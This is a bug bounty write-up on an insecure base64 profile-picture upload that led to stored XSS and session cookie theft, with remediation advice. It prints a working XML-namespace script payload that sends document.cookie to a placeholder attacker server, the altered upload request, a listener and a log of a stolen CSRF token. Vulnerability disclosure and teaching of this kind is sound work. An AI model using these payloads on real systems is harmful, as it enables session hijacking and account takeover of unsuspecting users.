OpenAI — Insecure File Upload to Stored XSS & Session Hijacking

DP
Deev Pal
Sep 6, 2024 10 min read
Partially redacted. Specific domains, endpoints, file paths, and platform details have been removed from this writeup. The vulnerability class and attack technique are described for educational purposes only.

TL;DR

An OpenAI platform allowed users to upload profile pictures. The upload endpoint accepted the image as a base64-encoded payload with a user-controlled content type. By changing the content type to text/xml and replacing the image data with a malicious XML document containing JavaScript, I was able to upload a file that executed arbitrary scripts when any user visited its URL.

The uploaded file was stored on the server and served back without sanitization — the XML was parsed by the browser, the embedded JavaScript executed, and the victim's session cookies were exfiltrated to an attacker-controlled server. This turned a simple profile picture upload into a stored XSS that could steal any user's session.

Bounty: $3,600 — Severity: P2 (High). Insecure file upload leading to stored cross-site scripting with demonstrated cookie theft and session hijacking potential.

Background — File Uploads and XSS

File upload is one of the most dangerous features a web application can offer. Every file that a user uploads is a potential vector for attack — and the risk multiplies when the application serves those files back to other users.

What is XSS? Cross-Site Scripting (XSS) is a vulnerability where an attacker injects malicious JavaScript code into a web page that other users visit. When the victim's browser loads the page, it executes the injected script as if it were legitimate code from the website. The script runs with the victim's permissions — it can read their cookies, steal their session, modify the page content, or redirect them to a malicious site. There are three types: Reflected (the payload is in the URL), Stored (the payload is saved on the server), and DOM-based (the payload manipulates client-side JavaScript).
What makes file upload dangerous? When you upload an image, the server stores it and gives it a URL. When someone visits that URL, the server sends the file back with a Content-Type header that tells the browser how to interpret it. If the server says Content-Type: image/png, the browser renders it as an image. But if an attacker can upload a file with Content-Type: text/html or text/xml, the browser will parse and execute any JavaScript inside it — just like loading a web page. The file upload becomes a way to host malicious code on the target's own domain.

Why Same-Origin Matters

Browsers enforce a security boundary called the Same-Origin Policy: JavaScript on one domain cannot read cookies or data from another domain. This is why hosting your XSS payload on evil.com doesn't let you steal cookies from openai.org — the browser blocks cross-origin access.

But when you can upload a file to the target's own domain and that file executes JavaScript, the script runs in the context of that domain. It has full access to the domain's cookies, localStorage, and session data. The Same-Origin Policy is satisfied because the malicious file is served from the same origin as the application itself.

Think of it like this: The Same-Origin Policy is a bouncer at a nightclub. It checks IDs at the door — only people who belong to this domain can access the VIP area (cookies, sessions). If an attacker can smuggle their malicious code past the bouncer by making it look like a legitimate file from the domain (uploaded via the site's own upload feature), the code is treated as a trusted insider and gets full VIP access.

Discovery — Intercepting the Upload

The target was an OpenAI platform that included user account management features — including the ability to upload a profile picture.

OpenAI platform homepage showing grant programs
Target platform: The OpenAI grants and research programs page — the entry point for this engagement.

Step 1: Understanding the Upload Mechanism

I navigated to the account settings page and found the profile picture upload option. Before uploading anything malicious, I first uploaded a legitimate image and intercepted the request using Burp Suite to understand how the upload worked.

Account settings page with profile photo upload option
Account settings: The profile photo upload feature — the attack surface.
Profile photo upload dialog showing image preview
Upload dialog: Uploading a legitimate image first to understand the request format.
What is Burp Suite? Burp Suite is a web security testing tool that acts as a proxy between your browser and the server. It lets you intercept, inspect, and modify HTTP requests before they reach the server. Think of it as a customs checkpoint — every package (request) going out gets opened, inspected, and you can swap the contents before sending it on its way.

The intercepted request revealed something interesting:

Upload Request Structure (Redacted)
POST /██████████/upload HTTP/1.1
Host: ██████████.██████████.███
Content-Type: application/json

{
    "file": "data:image/png;base64,iVBORw0KGgo...",
    "████████": "██████████"
}

The image was being sent as a base64-encoded string embedded in a JSON payload. The key observation: the content type (image/png) was part of the base64 data URI, not enforced by the server. This meant I could potentially change it to anything.

Step 2: Testing Content-Type Manipulation

The critical question: would the server accept a non-image content type?

I modified the data: URI prefix from image/png to text/xml and replaced the base64-encoded image data with a base64-encoded XML document. If the server accepted this without validation, the uploaded file would be interpreted as XML instead of an image — and XML can contain JavaScript.

Exploitation — From File Upload to Cookie Theft

Step 1: Crafting the Payload

I created an XML document with an embedded JavaScript payload using XML namespaces to bypass basic filters:

Burp Decoder showing the XML payload with XSS script and its base64 encoding
Payload construction: The malicious XML document in Burp Decoder — the decoded payload (top) and its base64 encoding (bottom).
Malicious XML Payload
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">
    alert(document.location="http://ATTACKER_SERVER/?c="+document.cookie)
</something:script>
</body>
</html>
What's happening here? This looks like HTML, but it uses an XML namespace trick. The xmlns:something attribute tells the browser "treat the something: prefix as XHTML." So <something:script> becomes a valid <script> tag when the browser parses the XML as XHTML. This technique bypasses filters that only look for literal <script> tags. The JavaScript inside redirects the victim's browser to the attacker's server, appending all cookies as a URL parameter.

I base64-encoded this XML and replaced the image data in the upload request:

Modified Upload Payload
{
    "file": "data:text/xml;base64,PGh0bWw+CjxoZWFkPjwvaGVhZD4...",
    "████████": "██████████"
}

Step 2: Uploading and Locating the File

The server accepted the upload without any validation — no content-type checking, no file extension enforcement, no magic byte verification. The response included the path where the file was stored:

Burp Suite showing the modified upload request with text/xml content type and 200 OK response
Modified request: The upload request with the content type changed to text/xml and the base64-encoded XML payload. Server responds 200 OK — no validation.
Burp Suite showing successful upload response with file path
Upload accepted: The server stores the malicious XML file and returns the path where it's accessible. Domain and path redacted.
Server Response (Redacted)
HTTP/1.1 200 OK

{
    "████████": "/media/██████████/██████████/profile/██████████.xml",
    "status": "success"
}

The server stored my XML file with a .xml extension and returned its path. When I sent a GET request to this path, the server served the file with the XML content type — and the browser parsed and executed the JavaScript inside it.

Burp Suite showing GET request to uploaded file, response shows XML with JavaScript being served with Content-Type text/xml
XML rendered: A GET request to the uploaded file path returns the malicious XML with Content-Type: text/xml. The response body shows the XSS payload — the browser will execute it.

Step 3: Weaponizing — Cookie Theft

Before sending the URL to a victim, I set up a simple HTTP server to receive the stolen cookies:

Attacker's Listener
$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 ...

Then I logged in as a different user in a private browsing window to simulate the victim. When this second user visited the URL of the uploaded XML file, the JavaScript executed in their browser:

Victim user logged into the platform in a private browser window
Victim session: A second user (the victim) logged into the platform in a private window to demonstrate cross-user impact.
  1. The browser loaded the XML file from the OpenAI domain
  2. The embedded script executed in the context of that domain
  3. The script read document.cookie — including the session's CSRF token
  4. The script redirected the browser to the attacker's server with the cookies as a URL parameter
Attacker's Server Log
GET /?c=csrftoken=██████████████████████████████████ HTTP/1.1
Host: ATTACKER_SERVER:8888
User-Agent: Mozilla/5.0 ...

# Victim's CSRF token successfully exfiltrated

The stolen CSRF token matched the victim's browser cookies exactly — confirmed by inspecting the victim's cookie jar in DevTools.

Browser showing XSS triggered with cookie data visible in the page
XSS triggered: The victim visits the uploaded file URL. The JavaScript executes, exfiltrating session cookies including the CSRF token.
Attacker's terminal showing incoming HTTP request with stolen cookie data
Cookies received: The attacker's Python HTTP server receives the victim's session cookies via the XSS redirect. Cookie values redacted.
Full chain confirmed: File upload → stored XML with JavaScript → browser execution on the target domain → cookie/session exfiltration. The attacker now has the victim's CSRF token and can perform actions on their behalf, or chain this with further attacks like account takeover.

Step 4: Delivery

To exploit a real victim, the attacker would simply need to send them a link to the uploaded file. Since the URL is on the OpenAI domain, it looks completely legitimate — no suspicious third-party domains. The URL could be disguised in an email, a message, or embedded in any page.

Why is this "stored" XSS? The malicious payload is permanently stored on the server as an uploaded file. Unlike reflected XSS (where the payload is in the URL and only executes once), stored XSS persists — every user who visits the file URL gets hit. The attacker uploads once, and the payload is available to exploit indefinitely until the file is removed.

Impact

Severity: P2 (High) — Stored Cross-Site Scripting

The demonstrated attack chain:

  1. File upload bypass — server accepted arbitrary content types with no validation
  2. Stored XSS — uploaded file was served back with XML content type, executing embedded JavaScript
  3. Cookie theft — JavaScript exfiltrated the victim's CSRF token to an attacker-controlled server

What an attacker could do with this:

  • Session hijacking — use the stolen CSRF token to perform actions as the victim
  • Account takeover — chain the CSRF token with account modification endpoints to change the victim's email or password
  • Data theft — use the XSS to read and exfiltrate page content, form data, or API responses visible to the victim
  • Phishing amplification — because the malicious URL is on a legitimate OpenAI domain, victims are far more likely to trust and click it
  • Lateral escalation — the XSS could be chained with SSRF, internal file reads, or other server-side attacks depending on what APIs are accessible from the domain

Remediation

The fix for insecure file upload leading to XSS involves multiple layers of defense:

  1. Content-Type validation. Only accept expected MIME types for the upload context. A profile picture upload should only accept image/png, image/jpeg, image/gif, and image/webp. Reject everything else server-side — never trust the client-provided content type.
  2. Magic byte verification. Check the actual file contents (magic bytes / file signature), not just the declared content type. A file claiming to be image/png should start with the PNG magic bytes (89 50 4E 47). If the magic bytes don't match the declared type, reject the upload.
  3. Content-Disposition header. Serve uploaded files with Content-Disposition: attachment instead of inline rendering. This forces the browser to download the file instead of rendering it — preventing any embedded scripts from executing.
  4. Separate domain for user content. Serve uploaded files from a different domain (e.g., user-content.example.com instead of app.example.com). Even if XSS occurs on the content domain, the Same-Origin Policy prevents it from accessing cookies on the main application domain. Google, GitHub, and most major platforms use this approach.
  5. Re-encode uploads. For image uploads specifically, decode and re-encode the image server-side using an image processing library. This strips any non-image data (including embedded scripts) and produces a clean image file. Even if someone uploads a polyglot file that's both a valid image and valid HTML, re-encoding destroys the HTML payload.
  6. CSP headers. Set a strict Content Security Policy on the domain serving uploaded files, disallowing inline scripts and restricting script sources. This provides defense-in-depth even if other controls are bypassed.
Defense in depth: No single control is bulletproof. Content-Type validation can be bypassed with polyglot files. Magic byte checking can be fooled by files that are valid in multiple formats. The strongest approach combines all of the above — validate the type, verify the bytes, re-encode the content, serve from a separate domain, and add CSP headers. Each layer catches what the others miss.

Timeline

  • 2024-09-06 — Vulnerability discovered and reported to OpenAI via Bugcrowd
  • 2024-09-09 — Report triaged and closed
  • $3,600 bounty awarded

Takeaways

  1. Always test file uploads with content-type manipulation. Whenever you find a file upload feature, intercept the request and try changing the content type. If the server accepts text/html, text/xml, or application/xhtml+xml when it should only accept images, you likely have XSS. This is one of the fastest checks you can do and has a surprisingly high hit rate.
  2. Base64-encoded uploads are especially interesting. When the upload sends data as a base64 string with a data: URI, the content type is often embedded in the URI prefix and not validated server-side. Swap data:image/png;base64,... to data:text/xml;base64,... and see what happens.
  3. XML namespace tricks bypass naive filters. If a WAF or filter blocks <script> tags, try XML namespace prefixes like <x:script xmlns:x="http://www.w3.org/1999/xhtml">. The browser resolves the namespace and treats it as a valid script tag, but regex-based filters don't catch it.
  4. Check where uploaded files are served from. After uploading, note the domain the file is served from. If it's the same domain as the main application, any XSS in the uploaded file has access to the application's cookies and session data. If it's a separate content domain, the impact is significantly reduced.
  5. Chain for maximum impact. A standalone XSS is interesting, but demonstrating a full attack chain (upload → XSS → cookie theft → CSRF → potential account takeover) is what turns a P4 into a P2 or higher. Always show the maximum realistic impact in your report.